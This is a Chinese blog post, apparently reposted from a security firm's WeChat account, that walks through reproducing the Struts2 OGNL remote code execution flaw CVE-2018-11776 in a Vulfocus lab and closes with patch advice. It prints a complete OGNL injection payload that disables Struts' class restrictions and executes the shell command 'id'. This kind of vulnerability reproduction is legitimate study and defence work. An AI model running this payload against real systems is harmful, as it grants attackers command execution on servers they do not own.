CVE-2018-11776 Struts2远程代码执行漏洞复现

admin 2022年9月28日20:55:32评论56 views字数 1272阅读4分14秒阅读模式

点击蓝字·关注我们

KUAI 

一、漏洞描述  


Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。action元素没有设置名称空间属性,或者使用了通配符名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。


、影响版本


2.3 —— 2.3.34 

2.5 —— 2.5.16


三、准备环境  


Vulfocus


启动环境:docker-compoese up -d


访问页面

CVE-2018-11776 Struts2远程代码执行漏洞复现

测试是否存在漏洞,抓包,构造url,返回的数据包显示了计算后的数值。

CVE-2018-11776 Struts2远程代码执行漏洞复现

之后把url对应的部分替换成构造好的ognl表达式。

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

但是要把这段表达式转为url格式才能执行,所以将数据包处右击选择decoder。

CVE-2018-11776 Struts2远程代码执行漏洞复现

然后再发包,执行了id命令。

CVE-2018-11776 Struts2远程代码执行漏洞复现


四、修复建议 


1、官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。


2、建议升级版本。



CVE-2018-11776 Struts2远程代码执行漏洞复现


CVE-2018-11776 Struts2远程代码执行漏洞复现

     银天信息专注于软件研发、信息安全与智慧城市等领域的创新发展,是政府及企业数字化、智慧化建设的重要合作伙伴,银天信息立足”为社会服好务、为员工谋福祉”的社会责任,秉承“以技术为引领、以市场为导向、以用户为中心”的发展理念。

     自1996年成立以来,银天信息以产业前瞻研究和行业深度理解为双引擎,基于云计算、大数据、物联网、5G等先进技术形成了贯穿政府、企业数字化转型生命周期的“全栈式”产品及解决方案,包括IT战略咨询、规划、设计、实施、运营与商业模式创新等,为用户输出同步国际的智慧城市建设体系,实现IT云化和数据价值激活,提升整体核心竞争力。目前,已经与政府、教育、能源、金融、电信、医疗等行业客户开展深入的合作。

CVE-2018-11776 Struts2远程代码执行漏洞复现

原文始发于微信公众号(银天信息):CVE-2018-11776 Struts2远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月28日20:55:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2018-11776 Struts2远程代码执行漏洞复现http://cn-sec.com/archives/1321981.html

发表评论

匿名网友 填写信息